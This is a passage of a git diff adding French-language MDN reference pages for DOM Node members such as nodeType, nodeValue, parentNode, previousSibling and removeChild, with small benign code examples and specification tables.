+   <td>Valeur</td>
+   <td>Description</td>
+  </tr>
+  <tr>
+   <td><code>Node.ATTRIBUTE_NODE</code></td>
+   <td>2</td>
+   <td>Un {{domxref("Attr", "Attribut")}} d'un {{domxref("Element")}}. Les attributs d'élément n'implémentent plus l'interface {{domxref("Node")}} dans la spécification {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.CDATA_SECTION_NODE</code></td>
+   <td><code>4</code></td>
+   <td>Une {{domxref("CDATASection")}}. Supprimée dans la spécification {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_REFERENCE_NODE</code></td>
+   <td>5</td>
+   <td>Un noeud référence d'entité XML. Supprimé dans la spécification {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.ENTITY_NODE</code></td>
+   <td>6</td>
+   <td>Un noeud <code>&lt;!ENTITY ...&gt;</code> XML. Supprimé dans la spécificatioin {{SpecName("DOM4")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.NOTATION_NODE</code></td>
+   <td>12</td>
+   <td>Un noeud <code>&lt;!NOTATION ...&gt;</code> XML. Supprimé dans la spécification {{SpecName("DOM4")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple" name="Exemple"><font><font>Exemples</font></font></h2>
+
+<h3 id="Différents_types_de_noeuds"><font><font>Différents types de noeuds</font></font></h3>
+
+<pre class="brush: js">document.nodeType === Node.DOCUMENT_NODE; // true (<em>vrai</em>)
+document.doctype.nodeType === Node.DOCUMENT_TYPE_NODE; // true  (<em>vrai</em>)
+
+var fragment = document.createDocumentFragment();
+fragment.nodeType === Node.DOCUMENT_FRAGMENT_NODE; // true  (<em>vrai</em>)
+
+<code>var p = document.createElement("p");
+p.textContent = "Once upon a time...";</code>
+
+p.nodeType === Node.ELEMENT_NODE; // true  (<em>vrai</em>)
+p.firstChild.nodeType === Node.TEXT_NODE; // true  (<em>vrai</em>)
+</pre>
+
+<h3 id="Commentaires">Commentaires</h3>
+
+<p><font><font>Cet exemple vérifie si le premier noeud dans l'élément du document est un noeud commentaire et si ce n'est pas le cas, affiche un message.</font></font></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> node <span class="operator token">=</span> document<span class="punctuation token">.</span>documentElement<span class="punctuation token">.</span>firstChild<span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span>nodeType <span class="operator token">!=</span> Node<span class="punctuation token">.</span>COMMENT_NODE<span class="punctuation token">)</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"You should comment your code well!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification"><font><font>Spécifications</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-nodetype', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Sont dépréciés les types <code>ATTRIBUTE_NODE, CDATA_SECTION_NODE, ENTITY_REFERENCE_NODE et NOTATION_NODE</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-111237558', 'Node.nodeType')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.nodeType")}}</p>
diff --git a/files/fr/web/api/node/nodevalue/index.html b/files/fr/web/api/node/nodevalue/index.html
new file mode 100644
index 0000000000..07e228342e
--- /dev/null
+++ b/files/fr/web/api/node/nodevalue/index.html
@@ -0,0 +1,93 @@
+---
+title: element.nodeValue
+slug: Web/API/Node/nodeValue
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/nodeValue
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété <code><strong>Node.nodeValue</strong></code> renvoie ou définit la valeur du nœud courant.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>value</var> = <var>node</var>.nodeValue;
+</pre>
+
+<p><code>value</code> (<em>valeur</em>) est une chaîne contenant la valeur du nœud courant, s'il y en a une.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Pour le document lui-même, <code>nodeValue</code> renvoie <code>null</code>. Pour des nœuds texte, de commentaires et CDATA, <code>nodeValue</code> renvoie le contenu du nœud. Pour les nœuds d'attributs, il s'agira de la valeur de l'attribut.</p>
+
+<p>Le tableau suivant montre les valeurs de retour pour différents types de nœuds :</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>Attr</td>
+   <td>valeur de l'attribut</td>
+  </tr>
+  <tr>
+   <td>CDATASection</td>
+   <td>contenu de la section CDATA</td>
+  </tr>
+  <tr>
+   <td>Comment</td>
+   <td>contenu du commentaire</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>DocumentFragment</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>DocumentType</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>Element</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>NamedNodeMap</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>EntityReference</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>Notation</td>
+   <td><code>null</code></td>
+  </tr>
+  <tr>
+   <td>ProcessingInstruction</td>
+   <td>tout le contenu à l'exception de la cible</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>contenu du nœud texte</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Lorsque <code>nodeValue</code> est défini comme étant <code>null</code>, l'assignation n'a aucun effet.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D080">DOM Level 2 Core: Node.nodeValue</a>  <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-F68D080">traduction</a> (non normative)</small></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.nodeValue")}}</p>
diff --git a/files/fr/web/api/node/normalize/index.html b/files/fr/web/api/node/normalize/index.html
new file mode 100644
index 0000000000..c58ba06945
--- /dev/null
+++ b/files/fr/web/api/node/normalize/index.html
@@ -0,0 +1,40 @@
+---
+title: element.normalize
+slug: Web/API/Node/normalize
+translation_of: Web/API/Node/normalize
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+
+<p>Place le nœud spécifié et tout son sous-arbre dans une forme « normale ». Dans un sous-arbre normalisé, aucun nœud texte n'est vide et il n'y a pas de nœuds texte adjacents.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>élément</em>.normalize();
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers language-js">var conteneur = document.createElement("div");
+conteneur.appendChild( document.createTextNode("Partie 1 ") );
+conteneu.appendChild( document.createTextNode("Partie 2 ") );
+
+// Ici, conteneur.childNodes.length === 2
+// conteneur.childNodes[0].textContent === "Partie 1 "
+// conteneur.childNodes[1].textContent === "Partie 2 "
+
+conteneur.normalize();
+
+// À présent, conteneur.childNodes.length === 1
+// conteneur.childNodes[0].textContent === "Partie 1 Partie 2 "</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-normalize">traduction en français</a> (non normative)</small></li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/element.normalize", "pl": "pl/DOM/element.normalize" } ) }}</p>
diff --git a/files/fr/web/api/node/ownerdocument/index.html b/files/fr/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..cc197c1d80
--- /dev/null
+++ b/files/fr/web/api/node/ownerdocument/index.html
@@ -0,0 +1,70 @@
+---
+title: element.ownerDocument
+slug: Web/API/Node/ownerDocument
+tags:
+  - API
+  - DOM
+  - Document
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/ownerDocument
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <code><strong>Node.ownerDocument</strong></code> renvoie l'objet document de niveau supérieur pour ce nœud.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>document</em> = element.ownerDocument;
+</pre>
+
+<ul>
+ <li><code>document</code> est l'objet <a href="https://developer.mozilla.org/fr/docs/Web/API/document"><code>document</code></a> parent de l'élément courant.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: html">// étant donné un nœud "p", obtient le premier enfant HTML
+// de l'objet document
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>L'objet <code>document</code> renvoyé par cette propriété est l'objet principal avec lequel tous les nœuds enfants du document HTML réel sont créés. Si cette propriété est utilisée sur un nœud qui est lui-même un document, le résultat est <code>null</code>.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.ownerDocument")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/fr/web/api/node/parentelement/index.html b/files/fr/web/api/node/parentelement/index.html
new file mode 100644
index 0000000000..7da92f2334
--- /dev/null
+++ b/files/fr/web/api/node/parentelement/index.html
@@ -0,0 +1,53 @@
+---
+title: Node.parentElement
+slug: Web/API/Node/parentElement
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - parent
+translation_of: Web/API/Node/parentElement
+---
+<div>
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<div>La propriété en lecture seule <code style="font-style: normal;"><strong>Node.parentElement</strong></code> renvoie le parent du noeud DOM ({{domxref("Element")}}) ou <code style="font-style: normal;"><strong>null</strong></code> si ce dernier n'a pas de parent ou si le parent n'est pas un {{domxref("Element")}} du DOM.</div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>parentElement</em> = <em>node</em>.parentElement
+</pre>
+
+<p><code><strong>parentElement</strong></code> référence l'élément parent d'un n<span class="notranslate" style="line-height: 1.5;">œ</span>ud (<code><strong>node</strong></code>). C'est toujours un objet <span style="line-height: 1.5;">{{domxref("Element")}} </span> du DOM <span style="line-height: 1.5;">ou <code>null</code>.</span></p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span>parentElement<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    node<span class="punctuation token">.</span>parentElement<span class="punctuation token">.</span>style<span class="punctuation token">.</span>color <span class="operator token">=</span> <span class="string token">"red"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Sur quelques navigateurs, la propriété <code>parentElement</code> est seulement définie sur les noeuds qui sont eux-mêmes des {{domxref("Element")}}. En particulier, elle n'est pas définie sur les noeuds texte.</p>
+
+<div>
+
+
+<p>{{Compat("api.Node.parentElement")}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li>{{spec("http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#parent-element", "DOM Level 4: Node.parentElement", "WD")}}</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.parentNode")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/parentnode/index.html b/files/fr/web/api/node/parentnode/index.html
new file mode 100644
index 0000000000..50123e2cb6
--- /dev/null
+++ b/files/fr/web/api/node/parentnode/index.html
@@ -0,0 +1,67 @@
+---
+title: element.parentNode
+slug: Web/API/Node/parentNode
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - parent
+translation_of: Web/API/Node/parentNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <strong>parentNode</strong> <span id="result_box" lang="fr"><span>renvoie le parent du nœud spécifié dans l'arborescence de DOM</span></span> .</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>parentNode</em> = <em>node</em>.parentNode</pre>
+
+<p><code>parentNode</code> est l'élément parent du nœud courant. <span class="short_text" id="result_box" lang="fr"><span>Le parent d'un élément est un </span></span>nœud <code>Element</code> , un nœud <code>Document</code> ou un nœud <code>DocumentFragment</code> .</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span>node<span class="punctuation token">.</span>parentNode<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// supprime un noeud  de l'arbre, </span>
+  <span class="comment token">// sauf s'il a déjà été supprimé</span>
+  node<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>node<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Les <a href="https://developer.mozilla.org/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">noeuds </a><code>Document</code> et <code>DocumentFragment</code> ne peuvent jamais avoir de parent, alors  <code>parentNode</code>  retournera toujours <code>null</code> .</p>
+
+<p> Il renvoie également <code>null</code> si le nœud vient d'être créé et n'est pas encore attaché à l'arbre.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div id="compat-desktop">
+
+
+<p>{{Compat("api.Node.parentNode")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+</div>
+
+<ul>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></li>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1060184317">DOM Level 3 Core: Node.parentNode</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<ul>
+ <li>{{Domxref("Node.firstChild")}}</li>
+ <li>{{Domxref("Node.lastChild")}}</li>
+ <li>{{Domxref("Node.childNodes")}}</li>
+ <li>{{Domxref("Node.nextSibling")}}</li>
+ <li>{{Domxref("Node.parentElement")}}</li>
+ <li>{{Domxref("Node.previousSibling")}}</li>
+ <li>{{Domxref("Node.removeChild")}}</li>
+</ul>
+</div>
+</article>
+
+<article class="localized"></article>
diff --git a/files/fr/web/api/node/prefix/index.html b/files/fr/web/api/node/prefix/index.html
new file mode 100644
index 0000000000..2ab6f61b73
--- /dev/null
+++ b/files/fr/web/api/node/prefix/index.html
@@ -0,0 +1,80 @@
+---
+title: element.prefix
+slug: Web/API/Node/prefix
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - Préfixe
+translation_of: Web/API/Node/prefix
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>La propriété en lecture seule  <code><strong>Node.prefix</strong></code> renvoie le préfixe de l'espace de noms pour le nœud spécifié ou <code>null</code> si aucun préfixe n'est spécifié.</p>
+
+<div class="warning">
+<p>Dans DOM4, cet API a été déplacé de <code>Node</code> vers les interfaces {{domxref("Element")}} et {{domxref("Attr")}}.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>string</var> = <var>node</var>.prefix
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Le code suivant affichera « x » sur la console.</p>
+
+<pre class="brush:xml line-numbers  language-xml"><code class="language-xml"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">x:</span>div</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>console.log(this.prefix)<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Ceci fonctionnera uniquement lorsqu'un analyseur gérant les espaces de noms est utilisé, c'est-à-dire lorsque le document est servi avec un type mime XML. Cela ne fonctionnera pas pour les documents HTML.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<article class="approved">
+<div class="boxed translate-rendered text-content">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-NodeNSPrefix", "Node.prefix")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Spécifie le comportement quand elle est définie à <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-NodeNSPrefix", "Initial definition")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.Node.prefix")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.localName")}}</li>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+ <li>{{domxref("Element.prefix")}}</li>
+ <li>{{domxref("Attr.prefix")}}</li>
+</ul>
+</div>
+</article>
+
+<p> </p>
diff --git a/files/fr/web/api/node/previoussibling/index.html b/files/fr/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..2f9f178b1f
--- /dev/null
+++ b/files/fr/web/api/node/previoussibling/index.html
@@ -0,0 +1,56 @@
+---
+title: element.previousSibling
+slug: Web/API/Node/previousSibling
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/previousSibling
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule  <code><strong>Node.previousSibling</strong></code> renvoie le nœud (<code>node</code>) précédant immédiatement le nœud courant dans la liste {{domxref("Node.childNodes", "childNodes")}} de son parent, ou <code>null</code> s'il s'agit du premier nœud de la liste.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// &lt;a&gt;&lt;b1 id="b1"/&gt;&lt;b2 id="b2"/&gt;&lt;/a&gt;</span>
+
+<span class="function token">alert</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"b1"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>previousSibling<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// null</span>
+<span class="function token">alert</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"b2"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>previousSibling<span class="punctuation token">.</span>id<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "b1"</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Les navigateurs basés sur Gecko insèrent des nœuds texte dans un document pour représenter des espaces
+    vides dans le balisage source. Par conséquent, un nœud obtenu par exemple via <a href="/fr/docs/Web/API/Node/firstChild" title="La propriété en lecture seule Node.firstChild renvoie le premier nœud enfant de l'arbre ou null s'il n'en a pas. Si le noeud est un Document , il renvoie le premier noeud de la liste de ses enfants directs."><code>Node.firstChild</code></a> ou
+    <a href="/fr/docs/Web/API/Node/previousSibling" title='{{APIRef("DOM")}}'><code>Node.previousSibling</code></a> peut faire référence à un nœud texte contenant des espaces plutôt qu'au véritable élément
+    que l'auteur comptait obtenir.</p>
+
+    <p>Consultez <a href="/fr/docs/Gestion_des_espaces_dans_le_DOM">Gestion des espaces dans le DOM</a>
+    et <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener"><i>Why are some Text nodes empty?</i>
+    dans la FAQ DOM 3 du W3C</a> pour plus d'informations.</p><p></p>
+
+<p>L'opération inverse <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nextSibling">Node.nextSibling</a></code> permet de rechercher l'élément suivant.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a> <small>— <a class="external" href="http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">traduction</a> (non normative)</small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a> <small>— <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">traduction</a> (non normative)</small></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
+
+<h2 class="noinclude" id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.previousSibling")}}</p>
+
+<h2 class="noinclude" id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("Node.nextSibling")}}</p>
diff --git a/files/fr/web/api/node/removechild/index.html b/files/fr/web/api/node/removechild/index.html
new file mode 100644
index 0000000000..cff831cdef
--- /dev/null
+++ b/files/fr/web/api/node/removechild/index.html
@@ -0,0 +1,112 @@
+---
+title: element.removeChild
+slug: Web/API/Node/removeChild
+tags:
+  - API
+  - DOM
+  - Enfant
+  - Méthodes
+  - Noeuds
+  - Suppression
+translation_of: Web/API/Node/removeChild
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La méthode <code><strong>Node.removeChild()</strong></code> retire un nœud enfant de l'arbre DOM et retourne le nœud retiré.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var oldChild</em> = <em>node</em>.removeChild(<em>child</em>);
+<strong>OR</strong>
+<em>node</em>.removeChild(<em>child</em>);
+</pre>
+
+<ul>
+ <li><code>child</code> est le nœud enfant à retirer du DOM.</li>
+ <li><code><font face="Consolas, Liberation Mono, Courier, monospace">node </font></code>est le nœud parent de <code>child</code>.</li>
+ <li><code>oldchild</code> conserve une référence au nœud enfant retiré. <code>oldchild</code> === <code>child</code>.</li>
+</ul>
+
+<p>Le nœud enfant retiré existe toujours en mémoire, mais ne fait plus partie du DOM. Avec la première syntaxe, il est possible de réutiliser ultérieurement dans le code le nœud retiré, à l'aide de la référence à l'objet <code>ancienEnfant</code><em>. </em></p>
+
+<p>Avec la seconde forme montrée en exemple, aucune référence à l'objet <code>ancienEnfant</code> n'est conservée ; ainsi, en supposant que votre code n'a conservé nulle part ailleurs cette référence à ce nœud, il devient immédiatement inutilisable et irrécupérable, et sera en général <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Gestion_de_la_m%C3%A9moire">automatiquement supprimé</a> de la mémoire après un court moment.</p>
+
+<p>Si  <code>child</code> n'est pas un enfant du noeud  <code>element</code>, la méthode provoque une exception. Une exception sera aussi lancée dans la cas où le nœud <code>enfant </code>est bien un enfant du nœud <code>element </code>au moment de l'appel à la méthode, mais qu'il a été retiré par un gestionnaire d'événement invoqué dans la cadre d'une tentative de suppression du nœud <code>element </code>(comme <em>blur</em>).</p>
+
+<p>La méthode peut lever une exception de deux façons :</p>
+
+<ol>
+ <li>Si <code>enfant</code> était bien un enfant de <font face="Consolas, Liberation Mono, Courier, monospace">element </font>et qu'il existe donc dans le DOM, mais qu'il a déjà été retiré, la méthode provoque l'exception suivante :<code>​​</code><br>
+  <code>Uncaught NotFoundError: Failed to execute 'removeChild' on 'element': The node to be removed is not a child of this node</code>.</li>
+ <li>si l'<code>enfant</code> n'existe pas dans le DOM de la page, la méthode provoque l'exception suivante :<br>
+  <code>Uncaught TypeError: Failed to execute 'removeChild' on 'element': parameter 1 is not of type 'Node'.</code></li>
+</ol>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="comment token">&lt;!--Sample HTML code--&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>top<span class="punctuation token">"</span></span> <span class="attr-name token">align</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>center<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+      <span class="keyword token">var</span> top <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"top"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> nested <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"nested"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+      <span class="keyword token">var</span> garbage <span class="operator token">=</span> top<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>nested<span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">//Cas test 2: la méthode lance l'exception (2)</span>
+
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!--Sample HTML code--&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>top<span class="punctuation token">"</span></span> <span class="attr-name token">align</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>center<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>nested<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
